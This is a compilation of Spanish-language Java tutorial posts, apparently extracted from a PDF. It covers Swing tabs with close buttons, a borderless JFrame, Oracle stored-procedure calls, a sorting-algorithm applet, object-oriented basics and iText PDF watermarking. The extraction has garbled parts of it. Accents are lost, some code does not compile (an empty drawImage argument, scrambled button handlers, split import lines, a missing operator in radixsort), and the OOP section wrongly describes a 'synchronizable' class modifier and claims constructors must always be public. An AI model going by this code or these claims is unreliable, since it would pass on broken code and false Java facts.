JPanel p3=new JPanel(); p3.add(new JLabel("JTabbedPane con X dibujada")); PanelTab btc=new PanelTab(pestaas,0); PanelTab btc2=new PanelTab(pestaas,1); PanelTab btc3=new PanelTab(pestaas,0); pestaas.addTab("Prueba", p1); pestaas.addTab("Prueba Java Zone", p2); pestaas.addTab("Prueba Java Zone", p3); pestaas.setTabComponentAt(0, btc); pestaas.setTabComponentAt(1, btc2); pestaas.setTabComponentAt(2, btc3); }

public void colocarSkin(){ try { UIManager.setLookAndFeel("com.sun.java.swing.plaf.nimbus.NimbusLookAndFeel" ); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (InstantiationException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (UnsupportedLookAndFeelException e) { e.printStackTrace(); } } }

Clase PanelTab
package Clases;

import java.awt.*; import java.awt.event.*; import javax.swing.*; import javax.swing.plaf.basic.BasicButtonUI;

public class PanelTab extends JPanel { JTabbedPane pestaas; int tipo;

public PanelTab(JTabbedPane p,int op) { if (p != null) { this.pestaas = p; tipo=op; setOpaque(false); JLabel titulo = new JLabel() { public String getText() { int i = pestaas.indexOfTabComponent(PanelTab.this); if (i != -1) { return pestaas.getTitleAt(i); } return null; } }; add(titulo); titulo.setBorder(BorderFactory.createEmptyBorder(0, 0, 0, 5)); JButton button = new BotonX(pestaas,this,tipo); add(button); } } }

Clase BotonX
package Clases;

import java.awt.*; import java.awt.event.*; import javax.swing.*; import javax.swing.plaf.basic.BasicButtonUI;

public class BotonX extends JButton implements MouseListener { JTabbedPane panel; PanelTab btc; int tipo; public BotonX(JTabbedPane pane,PanelTab btc,int op) { panel=pane; this.btc=btc; tipo=op; int size = 17; setPreferredSize(new Dimension(size, size)); setToolTipText("Cerrar Pestaa"); setUI(new BasicButtonUI()); setContentAreaFilled(false); setFocusable(false); setBorder(BorderFactory.createEtchedBorder()); setBorderPainted(false); addMouseListener(this); setRolloverEnabled(true); addActionListener(new ActionListener(){

@Override public void actionPerformed(ActionEvent e) { int i = panel.indexOfTabComponent(BotonX.this.btc); if (i != -1) { panel.remove(i); } } }); } public void updateUI() { } protected void paintComponent(Graphics g) { super.paintComponent(g); Graphics2D g2 = (Graphics2D) g.create(); if(tipo==0){ if (getModel().isPressed()) { g2.translate(1, 1); } g2.setStroke(new BasicStroke(3)); g2.setColor(Color.BLACK); if (getModel().isRollover()) {

g2.setColor(Color.RED); } g2.drawLine(5, 5, 12, 12); g2.drawLine(12, 6, 6, 12); g2.dispose(); }else{ ImageIcon img=new ImageIcon(this.getClass().getResource("../lib/cerrar.png")); g2.drawImage(img.getImage(), 1, ,14,14, this); g2.dispose(); } }

@Override public void mouseClicked(MouseEvent e) { // TODO Auto-generated method stub }

@Override public void mouseEntered(MouseEvent e) { Component component = e.getComponent(); if (component instanceof AbstractButton) { AbstractButton button = (AbstractButton) component; button.setBorderPainted(true); } }

@Override public void mouseExited(MouseEvent e) { Component component = e.getComponent(); if (component instanceof AbstractButton) { AbstractButton button = (AbstractButton) component; button.setBorderPainted(false); } }

@Override public void mousePressed(MouseEvent e) { // TODO Auto-generated method stub }

@Override public void mouseReleased(MouseEvent e) { // TODO Auto-generated method stub } } La clase Principal crea el JTabbePane, luego creo tres pestaas y tambin creo tres objetos PanelTab que no es mas que un panel en el que agregaremos el titulo y el botn con la X. Luego le indico a cada pestaa un objeto PanelTab, esto lo hacemos con el mtodo setTabComponentAt() de JTabbedPane. Luego creo un panel para agregar el botn restaurar que lo que hace es restaurar todas las pestaas por si el usuario las cerro. La clase PanelTab, crea un JLabel con el titulo de la pestaa y agrega un BotonX, que es una clase que hereda de JButton. La clase BotonX hereda de JButton y tiene dos opciones, la primera es dibujar un a X, y cuando el cursor esta sobre ella cambia de color de negro a rojo. La segunda opcin es que coloca una Imagen de una X. Ademas posee un ActionListener que indica que cuando se da clic al botn la pestaa se cierra.

Applet
Posted 11th February by Roger Yo hice una pequeo frame hace tiempo ( con fines recreativos ) que estaba igualita a chrome. Solo tienes que echarle un poco de "coco" pero es casi natural. En resmen, tienes que ocultar el header ( la barra de titulo ) con frame.setUndecorated( true ); con lo cual pierdes automticamente la posibilidad de darle usar el drag / resize etc. con el mouse y claro, tambin los botones de maximizar y cerrar. Para compensarlo tienes que poner tres botones con border = 0 ( o sin borde ) que sustituyan esa funcionalidad y adems agregar un mouse listener al componente principal para que cuando haya un click y se arrastre, seas tu quin mueve el frame. Para que me entiendas mejor algo as:

import javax.swing.*; import java.awt.*; class Chromeless { public static void main( String ... args ) { JFrame f = new JFrame(); f.setUndecorated( true ); f.add( new JPanel(new FlowLayout(FlowLayout.RIGHT)){{ add( new JButton("X")); add( new JButton("_")); }}, BorderLayout.NORTH ); f.add( new JLabel("Content goes here")); f.setSize( 200, 100 ); f.setLocation( 200, 300 ); f.setVisible( true ); } } Y hay que agregarle los listener que pierdes al ponerlo como undecorated = true Obvio hay que trabajar en los botones, para darle el tamao adecuado, ponerles imagenes en vez de texto ( X y _ ) e imagenes para cuando pasas el mouse etc. etc. con un poco de tiempo ( menos de 3 das ) debera de hacer algo decente.

Procedimientos Almacenados Oracle desde Java


Ya se que nunca posteo, pero hoy decid romper la rutina :-D

Como mandarllamar procedimientos almacenados desde Java, un poco ms especfico utilizando el EntityManager... Tengo un DataSource configurado en el AppServer con el EntityManager se pueden ejecutar directamente procedimientos, pero no pude obtener los parmetros de salida, es por eso que lo hice de otra manera... primero se hace referencia al DataSource para obtener la conexion @Resource(name = "jdbc/myDS") private DataSource dataSource; luego para realizar la ejecucion del procedimiento se hace lo siguiente
Connection conn=null; //se declara una variable Connection try{ conn = this.dataSource.getConnection();// se obtiene la conexion del DataSource antes declarado CallableStatement cs = null; cs = conn.prepareCall("call procedure(?,?,?,?,?)");

//Se settean las variables de entrada del procedimiento cs.setInt("IN_ID",837); SimpleDateFormat sdf= new SimpleDateFormat("dd/MM/yyyy"); Date date= sdf.parse("22/06/2004"); cs.setTimestamp("IN_FECHA",new Timestamp(date.getTime())); cs.setDouble("IN_VALOR",1.8);

//Se registran las variables de salida del procedimiento cs.registerOutParameter("OUT_ED",Types.INTEGER); cs.registerOutParameter("OUT_CVE",Types.INTEGER); cs.execute();//Ejecucin del procedimiento

// aca de obtienen las variables de salida del procedimiento System.out.println(cs.getInt("OUT_ED"));

System.out.println(cs.getInt("OUT_CVE")); conn.close(); }catch(SQLException e){e.printStackTrace();}catch(Exception er){

er.printStackTrace(); }

As es como lo implement, tambin se puede hacer mediente indices es decir


cs = conn.prepareCall("call procedure(?,?,?,?,?)"); cs.setInt(1,837); SimpleDateFormat sdf= new SimpleDateFormat("dd/MM/yyyy"); Date date= sdf.parse("22/06/2004"); cs.setTimestamp("IN_FECHA",new Timestamp(date.getTime())); cs.setDouble("IN_VALOR",1.8);

si alguien tiene alguna mejor manera de hacerlo, comprtalo, espero y le sirva a alguin.... La conexin deberas cerrarla en el finally, no dentro del try. Si ocurre una excepcin en tu cdigo as como est, se va a quedar esa conexin abierta.
Connection conn = null;// try { //blabla todo tu codigo aqui excepto el close() } catch (SQLException ex) { //manejar la excepcion } finally { if (conn != null) { try { conn.close(); } catch (SQLException ex) { //ni modo no se pudo cerrar } }

De esa forma la conexin siempre se cierra, haya excepcin o no.

Mtodos de Ordenamiento.
Bueno pues aqu les dejo una tarea que me dejaron ami para alguien que le sirva luego adjunto la informacin de cada mtodo. Si tengo algunas cosas mal con gusto digamenlas porfavor se los agradecera y si hay algo que puedo mejorar aun.

import import import import import import import import import import import

java.applet.Applet; java.awt.Button; java.awt.Color; java.awt.Event; java.awt.Graphics; java.awt.Label; java.awt.Rectangle; java.awt.Scrollbar; java.awt.TextField; java.awt.event.ActionEvent; java.util.Random;

/** * @author Ferreyra * */ public class Ordenamiento extends Applet implements Runnable { int numMax=27; //Nmero mximo de elmentos a ordenar int numAleat=20; //Cantidad de nmeros aleatorios generados //(al inicio siempre ser 20). int y[] = new int[numMax]; int x[] = new int[numMax]; int x2[] = new int[numMax]; int x3[] = new int[numMax]; int x4[] = new int[numMax]; int x5[] = new int[numMax]; int x6[] = new int[numMax]; int x7[] = new int[numMax]; int x8[] = new int[numMax]; Thread hilo, hilo2, hilo3, hilo4, hilo5, hilo6, hilo7, hilo8; Button button1 = new Button(); Button button10 = new Button(); Button button2 = new Button(); Button button3 = new Button(); Button button4 = new Button(); Button button5 = new Button(); Button button6 = new Button(); Button button7 = new Button(); Button button8 = new Button(); Scrollbar barraDes = new Scrollbar(); TextField cantidadAleatorios = new TextField(); Label label2 = new Label(); Label label1 = new Label();

Label Label private private private private

label3 = new Label(); label4 = new Label(); int l; int i1; int k; int num;

/**Inicializar el applet*/ public void init() { try { jbInit(); } catch(Exception e) { e.printStackTrace(); } } /**Inicializacin de componentes*/ private void jbInit() throws Exception { button1.setEnabled(false); button1.setFont(new java.awt.Font("Dialog", 1, 11)); button1.setLabel("Burbuja"); button1.setBounds(new Rectangle(35, 140, 100, 22)); button1.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(ActionEvent e) { button1_actionPerformed(e); } }); button2.setEnabled(false); button2.setFont(new java.awt.Font("Dialog", 1, 11)); button2.setLabel("Quiksort"); button2.setBounds(new Rectangle(175, 140, 100, 22)); button2.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(ActionEvent e) { button2_actionPerformed(e); } }); button3.setEnabled(false); button3.setFont(new java.awt.Font("Dialog", 1, 11)); button3.setLabel("Shellsort"); button3.setBounds(new Rectangle(315, 140, 100, 22)); button3.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(ActionEvent e) {

button3_actionPerformed(e); } }); button4.setEnabled(false); button4.setFont(new java.awt.Font("Dialog", 1, 11)); button4.setLabel("Bucketsort"); button4.setBounds(new Rectangle(455, 140, 100, 22)); button4.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(ActionEvent e) { button4_actionPerformed(e); } }); button5.setEnabled(false); button5.setFont(new java.awt.Font("Dialog", 1, 11)); button5.setLabel("Insertionsort"); button5.setBounds(new Rectangle(595, 140, 100, 22)); button5.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(ActionEvent e) { button5_actionPerformed(e); } }); button6.setEnabled(false); button6.setFont(new java.awt.Font("Dialog", 1, 11)); button6.setLabel("Selectionsort"); button6.setBounds(new Rectangle(735, 140, 100, 22)); button6.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(ActionEvent e) { button6_actionPerformed(e); } }); button7.setBounds(new Rectangle(35, 305, 100, 22)); button7.setLabel("Mergesort"); button7.setFont(new java.awt.Font("Dialog", 1, 11)); button7.setEnabled(false); button7.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(ActionEvent e) { button7_actionPerformed(e); } }); button8.setEnabled(false); button8.setFont(new java.awt.Font("Dialog", 1, 11)); button8.setLabel("Radixsort"); button8.setBounds(new Rectangle(735, 305, 100, 22));

button8.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(ActionEvent e) { button8_actionPerformed(e); } }); button10.setFont(new java.awt.Font("Dialog", 1, 11)); button10.setForeground(Color.blue); button10.setLabel("Generar Nmeros"); button10.setBounds(new Rectangle(374, 253, 140, 22)); button10.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(ActionEvent e) { button10_actionPerformed(e); } }); barraDes.setBackground(Color.blue); barraDes.setEnabled(true); barraDes.setForeground(Color.white); barraDes.setMaximum(27); barraDes.setVisibleAmount(0); barraDes.setOrientation(0); barraDes.setPageIncrement(1); barraDes.setUnitIncrement(1); barraDes.setValue(19); barraDes.setBounds(new Rectangle(382, 223, 124, 21)); cantidadAleatorios.setBackground(Color.white); cantidadAleatorios.setEditable(false); cantidadAleatorios.setEnabled(true); cantidadAleatorios.setFont(new java.awt.Font("Dialog", 1, 12)); cantidadAleatorios.setForeground(Color.blue); cantidadAleatorios.setText("20"); cantidadAleatorios.setBounds(new Rectangle(436, 201, 21, 21)); label1.setEnabled(true); label1.setForeground(Color.blue); label1.setText("1"); label1.setBounds(new Rectangle(371, 224, 14, 15)); label2.setEnabled(true); label2.setForeground(Color.blue); label2.setText("27"); label2.setBounds(new Rectangle(511, 225, 18, 13)); label3.setFont(new java.awt.Font("SansSerif", 0, 11)); label3.setForeground(Color.blue);

label3.setText("Para generar la cantidad indicada de numeros aleatorios, es necesario"); label3.setBounds(new Rectangle(275, 285, 346, 18)); label4.setFont(new java.awt.Font("SansSerif", 0, 11)); label4.setForeground(Color.blue); label4.setText("que no se est ejecutando ningn mtodo de ordenamiento."); label4.setBounds(new Rectangle(303, 300, 294, 16)); this.setFont(new java.awt.Font("Dialog", 0, 10)); this.setLayout(null); this.add(button1, null); this.add(button2, null); this.add(button3, null); this.add(button4, null); this.add(button5, null); this.add(button6, null); this.add(button7, null); this.add(button8, null); this.add(button10, null); this.add(label2, null); this.add(label1, null); this.add(label4, null); this.add(label3, null); this.add(barraDes, null); this.add(cantidadAleatorios, null); } public void activa(){ cantidadAleatorios.setEnabled(true); label1.setEnabled(true); label2.setEnabled(true); barraDes.setEnabled(true); button10.setEnabled(true); } public void activa2(){ button1.setEnabled(true); button2.setEnabled(true); button3.setEnabled(true); button4.setEnabled(true); button5.setEnabled(true); button6.setEnabled(true); button7.setEnabled(true); button8.setEnabled(true); }

public void desactiva(){ cantidadAleatorios.setEnabled(false); label1.setEnabled(false); label2.setEnabled(false); barraDes.setEnabled(false); button10.setEnabled(false); } /**Eventos de Scrollbar:*/ public boolean handleEvent( Event evt ) { if( evt.target.equals(barraDes) ) { cantidadAleatorios.setText( Integer.toString( ((Scrollbar) evt.targe t).getValue()+1)); numAleat=((Scrollbar)evt.target).getValue()+1; return true; } return super.handleEvent( evt ); } void button1_actionPerformed(ActionEvent e) { button1.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x[v] = y[v]; start(1); } void button2_actionPerformed(ActionEvent e) { button2.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x2[v] = y[v]; start(2); } void button3_actionPerformed(ActionEvent e) { button3.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x3[v] = y[v]; start(3); } void button4_actionPerformed(ActionEvent e) { button4.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x4[v] = y[v];

start(4); } void button5_actionPerformed(ActionEvent e) { button5.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x5[v] = y[v]; start(5); } void button6_actionPerformed(ActionEvent e) { button6.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x6[v] = y[v]; start(6); } void button7_actionPerformed(ActionEvent button7.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x7[v] = start(7); } void button8_actionPerformed(ActionEvent button8.setEnabled(false); desactiva(); for(int v=0; v<y.length; v++) x8[v] = start(8); } e) { y[v]; e) { y[v];

void button10_actionPerformed(ActionEvent e) { generaAleat(); for(int v=0; v<y.length; v++){ x[v] = y[v]; x2[v] = y[v]; x3[v] = y[v]; x4[v] = y[v]; x5[v] = y[v]; x6[v] = y[v]; x7[v] = y[v]; x8[v] = y[v]; } repaint(); activa2(); }

/**Ejecucin del hilo*/ public void start(int i){ if(i==1){ hilo = new Thread(this); hilo.start(); } else if(i==2){ hilo2 = new Thread(this); hilo2.start(); } else if(i==3){ hilo3 = new Thread(this); hilo3.start(); } else if(i==4){ hilo4 = new Thread(this); hilo4.start(); } else if(i==5){ hilo5 = new Thread(this); hilo5.start(); } else if(i==6){ hilo6 = new Thread(this); hilo6.start(); } else if(i==7){ hilo7 = new Thread(this); hilo7.start(); } else if(i==8){ hilo8 = new Thread(this); hilo8.start(); } } public void stop(int i){ if(i==1) hilo = null; else if(i==2) hilo2 = null; else if(i==3) hilo3 = null; else if(i==4) hilo4 = null; else if(i==5) hilo5 = null;

else if(i==6) hilo6 = null; else if(i==7) hilo7 = null; else if(i==8) hilo8 = null; } void pausa(){ repaint(); try { Thread.sleep(100); } catch (InterruptedException e) {} } public void run(){ Thread hiloActual = Thread.currentThread(); if (hiloActual == hilo) { Burbuja(); stop(1); button1.setEnabled(true); } if (hiloActual == hilo2) { quiksort(x2, 0, numAleat-1); stop(2); button2.setEnabled(true); } if (hiloActual == hilo3) { shellsort(); stop(3); button3.setEnabled(true); } if (hiloActual == hilo4) { bucksort(); stop(4); button4.setEnabled(true); } if (hiloActual == hilo5) { insertionsort(); stop(5); button5.setEnabled(true); } if (hiloActual == hilo6) { selectionsort(); stop(6); button6.setEnabled(true); }

if (hiloActual == hilo7) { mergesort(); stop(7); button7.setEnabled(true); } if (hiloActual == hilo8) { radixsort(); stop(8); button8.setEnabled(true); } if(hilo==null && hilo2==null&& hilo3==null&& hilo4==null&& hilo5==null&& hilo6==null && hilo7==null && hilo8==null) activa(); } /**Dibuja las lineas a ordenar (la primera vez que se visualiza el applet).*/ public void paint(Graphics g){ int p=0; g.setColor(Color.white); g.fillRect(35,15,100,115); g.fillRect(175,15,100,115); g.fillRect(315,15,100,115); g.fillRect(455,15,100,115); g.fillRect(595,15,100,115); g.fillRect(735,15,100,115); g.fillRect(35,180,100,115); g.fillRect(735,180,100,115); g.setColor(Color.black); for(int i=0; i<numAleat; i++){ g.drawLine(45+p,120,45+p,120-x[i]); g.drawLine(185+p,120,185+p,120-x2[i]); g.drawLine(325+p,120,325+p,120-x3[i]); g.drawLine(465+p,120,465+p,120-x4[i]); g.drawLine(605+p,120,605+p,120-x5[i]); g.drawLine(745+p,120,745+p,120-x6[i]); g.drawLine(45+p,285,45+p,285-x7[i]); g.drawLine(745+p,285,745+p,285-x8[i]); p+=3; } } /**Actualiza (mediante la llamada repaint)las lineas que se ordenan. * Este mtodo evita el parpadeo (flickering).*/

public void update(Graphics e){ int p=0; e.setColor(Color.white); e.fillRect(35,15,100,115); e.fillRect(175,15,100,115); e.fillRect(315,15,100,115); e.fillRect(455,15,100,115); e.fillRect(595,15,100,115); e.fillRect(735,15,100,115); e.fillRect(35,180,100,115); e.fillRect(735,180,100,115); e.setColor(Color.black); for(int i=0; i<numAleat; i++){ e.drawLine(45+p,120,45+p,120-x[i]); e.drawLine(185+p,120,185+p,120-x2[i]); e.drawLine(325+p,120,325+p,120-x3[i]); e.drawLine(465+p,120,465+p,120-x4[i]); e.drawLine(605+p,120,605+p,120-x5[i]); e.drawLine(745+p,120,745+p,120-x6[i]); e.drawLine(45+p,285,45+p,285-x7[i]); e.drawLine(745+p,285,745+p,285-x8[i]); p+=3; } } void Burbuja(){ int b, j, t, n; n = numAleat-1; do{ b = 0; for(j=0; j<n; j++){ if(x[j] > x[j+1]){ t = x[j]; x[j] = x[j+1]; x[j+1] = t; pausa(); //************************ b++; } } n--; } while(b > 0); } public void quiksort(int x2[],int lo,int ho){ int t, l=lo, h=ho, mid;

if(ho>lo){ mid=x2[(lo+ho)/2]; while(l<h){ while((l<ho)&&(x2[l]<mid)) ++l; while((h>lo)&&(x2[h]>mid)) --h; if(l<=h){ t = x2[l]; x2[l] = x2[h]; x2[h] = t; pausa(); //************************ ++l; --h; } } if(lo<h) quiksort(x2,lo,h); if(l<ho) quiksort(x2,l,ho); } } public void shellsort(){ int n = numAleat; //numero de elementos a ordenar int i, j; // Indices para manipular el arreglo int tamPasada; // Tamanno de los "subarreglos" ordenados en cada pasada int temporal; // Almacenamiento temporal para los intercambios // Calcular tamanno optimo de la primera pasada for( tamPasada = 1; tamPasada <= (n / 9); tamPasada = (3 * tamPasada + 1)) ; // Instruccion nula // Ordenar en cada pasada subarreglos de tamPasada tamanno, hasta llegar a // tamanno 1 for( ; tamPasada > 0; tamPasada /= 3){ for(i = tamPasada; i < n; i += tamPasada){ temporal = x3[ i ]; j = i; // Preparar variables por si hay // intercambio // Hacer espacio dentro del "subarreglo" actual si se encontro un // elemento menor while( j >= tamPasada && x3[ j - tamPasada ] > temporal ){ x3[ j ] = x3[ j - tamPasada ];

j -= tamPasada; }; x3[ j ] = temporal; su lugar

// Insertar elemento menor en

pausa(); //************************ }; // for i }; // for tamPasada } public void bucksort(){ int bindex; //Variable que llevara el control del indice del arreglo int i; //Variable que llevara el control del indice del arreglo int max=numAleat; //Variable para leer el numero de elementos del vector //a ordenar int buck[] = new int [256]; //Arreglo de elementos no mayor de 256 for (bindex=0;bindex<max;bindex++) //Ciclo para llenar el arreglo buck[bindex]=0; //auxiliar Buck con ceros //del mismo tamao que nuestro vector for (i=0;i<max;i++) //Ciclo que hace a buck buck[x4[i]]++; i=0; bindex=0; //reinicia los indices a cero while(i<max){ //mientras que no enuentre el final del arreglo realiza //lo siguiente while(buck[bindex]==0) bindex++; // x4[i]=bindex; pausa(); //************************ buck[bindex]--; i++; } // Termina el While } public void insertionsort(){ for(int i=1; i<numAleat; i++){ int v=x5[i]; int j=i; while(j>0 && x5[j-1]>v){ x5[j]=x5[j-1];

x5[j-1]=v; pausa(); j--; v=x5[j]; } } } public void selectionsort(){ int a, b, menor; for(a=0; a<numAleat-1; a++){ menor=x6[a]; for( b=a+1; b<numAleat; b++){ if(menor>x6[b]){ menor=x6[b]; x6[b]=x6[a]; x6[a]=menor; pausa(); //************************ } } } } public void mergesort(){ int n = numAleat; int[] aux = new int[n]; int i, j, k, l1, l2, u1, u2, size = 1; while (size < n) { l1 = 0; k = 0; while ( (l1 + size) < n) { l2 = l1 + size; u1 = l2 - 1; u2 = (l2 + size - 1 < n) ? l2 + size - 1 : n - 1; for (i = l1, j = l2; (i <= u1) && (j <= u2); k++) if (x7[i] <= x7[j]) aux[k] = x7[i++]; else aux[k] = x7[j++]; for (; i <= u1; k++) aux[k] = x7[i++]; for (; j <= u2; k++) aux[k] = x7[j++]; l1 = u2 + 1; } //while

for (i = l1; k < n; i++) aux[k++] = x7[i]; for (i = 0; i < n; i++) x7[i] = aux[i]; pausa(); //************************ size = size * 2; } //while } public void radixsort(){ for(int i=0; i<numAleat; i++) x8[i]=0; setK(0); int c=0; setL(0); int varin=10; setNum(0); int nume=0; setI1(0); for(int count=0; count<10; count++) for(int i=0; i<numAleat; i++) if ( y[i]%varin==count){ x8[c]=y[i]; c++; } for(int pasada=1; pasada<numAleat; pasada++) for(int j=0; j<numAleat -1 ;j++) if ( (x8[j]-x8[j]%varin)/10>(x8[j+1]x8[j+1]%varin)/10){ nume = x8[j]; x8[j] = x8[j+1]; x8[j+1] = nume; pausa(); //************************ } } //Constructor de la clase, recibe la cantidad de aleatorios a generar public void generaAleat(){ Random generador=new Random(); for(int i=0;i<numAleat;i++){ y[i]=generador.nextInt()%100; if(y[i]<0)

y[i]*=-1; } } public void setL(int l) { this.l = l; } public int getL() { return l; } public void setI1(int i1) { this.i1 = i1; } public int getI1() { return i1; } public void setK(int k) { this.k = k; } public int getK() { return k; } public void setNum(int num) { this.num = num; } public int getNum() { return num; } } Saludos. Programacion Orientada a Objetos Las Clases y los Objetos son elementos importantes de la P.O.O. (Programacin Orientada a Objetos). Podemos definir Clase como una entidad abstracta o abstraccin de un concepto que define a los objetos. Un objeto es una instancia de una Clase, en otras palabras un Objeto es una "entidad concreta".

Una clase describe un comportamiento y estructura, que sern adoptados por cada Objeto. Para esto en una clase se definen variables miembro (tambin llamados atributos) y mtodos para manipular dichas variables (estudiar concepto de encapsulacin) Cada objeto se distingue de los dems por su estado, es decir los valores de sus atributos. 1.-Clases Una clase es un tipo de dato abstracto equipado con una implementacin posiblemente parcial. Como un TDA (Tipo de Datos Abstracto), una clase es un tipo pues describe un conjunto de posibles estructuras de datos, llamados los atributos o variables de instancia de la clase. Los TDAs tambin tienen instancias; la diferencia es que una instancia de un TDA es un elemento puramente matemtico (un miembro de algn conjunto matemtico), mientras que una instancia de una clase es una estructura de datos que puede ser representada en la memoria de un computador y manipulado por un sistema de software. Control de Acceso puede ser: private, public o protected . Sintaxis para Definir una clase:
<control de acceso> class <nombre clase> { <atributos> <constructores> <mtodos> }

Tipos de Clases: abstract Una clase abstract tiene al menos un mtodo abstracto. Una clase abstracta no se instancia, sino que se utiliza como clase base para la herencia. final Una clase final se declara como la clase que termina una cadena de herencia. No se puede heredar de una clase final. Por ejemplo, la clase Math es una clase final. public Las clases public son accesibles desde otras clases, bien sea directamente o por herencia. Son accesibles dentro del mismo paquete en el que se han declarado. Para acceder desde otros paquetes, primero tienen que ser importadas. synchronizable

Este modificador especifica que todos los mtodos definidos en la clase son sincronizados, es decir, que no se puede acceder al mismo tiempo a ellos desde distintos threads; el sistema se encarga de colocar los flags necesarios para evitarlo. Este mecanismo hace que desde threads diferentes se puedan modificar las mismas variables sin que haya problemas de que se sobreescriban. 2.-Atributos El control de acceso define si un atributo ser privado (private) o pblico (public). Un atributo privado en una clase implica que slo los mtodos de esa clase (de ninguna otra) pueden usar (consultar o modificar) dichos atributos. Esto se traduce en que slo los objetos que se creen, de tal clase, podrn trabajar con tales atributos. Un atributo pblico, por el contrario, puede ser usado (consultado o modificado) por los mtodos de cualquier clase, esto se traduce en que cualquier objeto (sin importar la clase que los define) podr usar tales atributos. Ejemplo: A continuacin se definen los atributos de una clase llamada Tiempo:
public class Tiempo { // Atributos private int hr, min, seg; }

3.-Constructores Un Constructor es una funcin, mtodo, etc, de las clases, la cual es llamada automticamente cuando se crea un objeto de esa clase. Por ser mtodos, los constructores tambin aceptan parmetros. Cuando en una clase no especificamos ningn tipo de constructor, el compilador aade uno pblico por omisin sin parmetros, el cual NO hace nada. Caractersticas de los Constructores: 1. Un constructor, tiene el mismo nombre de la clase a la cual pertenece. 2. No puede ser Heredado. 3. No retorna ningn valor (Ni void), por lo cual no debe especificarse ningn tipo de dato. 4. Debe declararse como public, slo en casos realmente extraordinarios ser de otro tipo
public <nombre clase>([<lista de parmetros>]) [<sentencias>] } {

Un constructor siempre debe ser definido como pblico, de manera que sea posible, para cualquier objeto, crear objetos de cualquiera otra clase (definida como pblica). Esto llevado al plano de las definiciones de clases, cualquier mtodo que lo requiera podr crear un objeto de la clase que sea, segn las necesidades que se tengan en virtud del problema a resolver. Cualquier mejora dejarme su comentario. Gracias

Aportacin JavaMxico - PCJ - Colocar marca de agua a una imgen (PDF)


Que tal, aqui le dejo un ejemplo de como podemos generar un archivo PDF a partir de una imgen, adems de colocarle un texto estilo "marca de agua", utilizando la libreria Itext (1.4.8). Esto lo utilice en un proyecto donde de acuerdo a los perfiles de cada usuario, por seguridad podian ver documentacion con o sin marca de agua. Les dejo comentarios sobre el cdigo. Este es el mtodo principal donde se genera el PDF. public void generarMarcaAgua(){ //Indicamos la ruta de la imagen String rutaImagen = "c:\\imagen.tif"; //Se crea el documento Document document = new Document(); try { //Se crea un writer de la clase PdfWriter para generar el PDF PdfWriter writer = PdfWriter.getInstance(document, new FileOutputStream("c:\\imagen.pdf")); document.open(); document.setPageSize(PageSize.LETTER); //Se manda llamar el mtodo que coloca la imgen en el PDF poneImagen(document, rutaImagen) //Se manda llamar el mtodo que coloca el texto "marca de agua", en el PDF poneSelloAgua(writer); document.close(); } catch (Exception e) { e.printStackTrace(); } } Este mtodo coloca la imgen en el PDF

private static void poneImagen(Document document, String archivo) { RandomAccessFileOrArray ra = null; boolean resultado = false; try { ra = new RandomAccessFileOrArray(archivo ,true); Image img = TiffImage.getTiffImage(ra, 1); if (img != null) { //Se valida la escala de la imgen if (img.scaledWidth() > 600 || img.scaledHeight() > 800) { //Se reduce la escala de la imgen img.scaleToFit(615, 825); } //Se indica la posicion donde se colocara la imgen en el PDF img.setAbsolutePosition(0, 0); //Se inserta la imgen en el PDF document.add(img); } ra.close(); } catch (Exception e) { System.out.println("Error al agregar imagen al PDF " + e.getMessage()); } } Finalmente, este mtodo coloca el texto de marca de agua al PDF. private static void poneSelloAgua(PdfWriter writer) { try { PdfContentByte cb = writer.getDirectContent(); //Se crea un templete para asignar la marca de agua PdfTemplate template = cb.createTemplate(700, 300); template.beginText(); //Inicializamos los valores para el templete //Se define el tipo de letra, color y tamao BaseFont bf = BaseFont.createFont(BaseFont.HELVETICA, BaseFont.CP1252, BaseFont.NOT_EMBEDDED); template.setColorFill(new Color(220, 220, 220));

template.setFontAndSize(bf, 6); template.setTextMatrix(0, 0); //Se define el texto que se agregara como marca de agua template.showText("TEXTO MARCA AGUA"); template.endText(); //Se asigna el templete //Se asignan los valores para el texto de marca de agua // Se asigna el grado de inclinacion y la posicion donde aparecer el texto // x y cb.addTemplate(template, 1, 1, -1,1, 50, 500); } catch (Exception e) { e.printStackTrace(); } } Saludos. Que tal RuGI, No se ti te entendi bien, pero a ver si esto resuelve tu duda: Teniendo el archivo PDF, inserto la imagen a travs de un PdfContentByte con esto se respeta las secciones que la imgen tiene transparentes. Document document = new Document(); //Se crea un reader para el PDF PdfReader reader = new PdfReader("/origen.pdf"); //obtenemos el nmero de pginas del archivo int total = reader.getNumberOfPages(); PdfWriter pdfwriter = PdfWriter.getInstance(document, new FileOutputStream("/destino.pdf")); PdfImportedPage pdfimportedpage = null; Image image = Image.getInstance("/imagen.png"); document.open(); //Declaro el PdfContentByte obteniendo el Direct Content del PDF.

PdfContentByte pdfcontentbyte = pdfwriter.getDirectContent(); for(int j = 1; j <= total; j++) { //Se agregan las paginas al documento PDF document.newPage(); pdfimportedpage = pdfwriter.getImportedPage(reader, j); pdfcontentbyte.addTemplate(pdfimportedpage, 1.0F, 0.0F, 0.0F, 1.0F, 0.0F, -10F); //Se asigna la posicin de la imgen image.setAbsolutePosition(100,100); //Se asigna la imgen al PDF pdfcontentbyte.addImage(image); } document.close();

Aportacin JavaMxico - PCJ Ejecutar un procedimiento almacenado (PL/SQL) desde Java


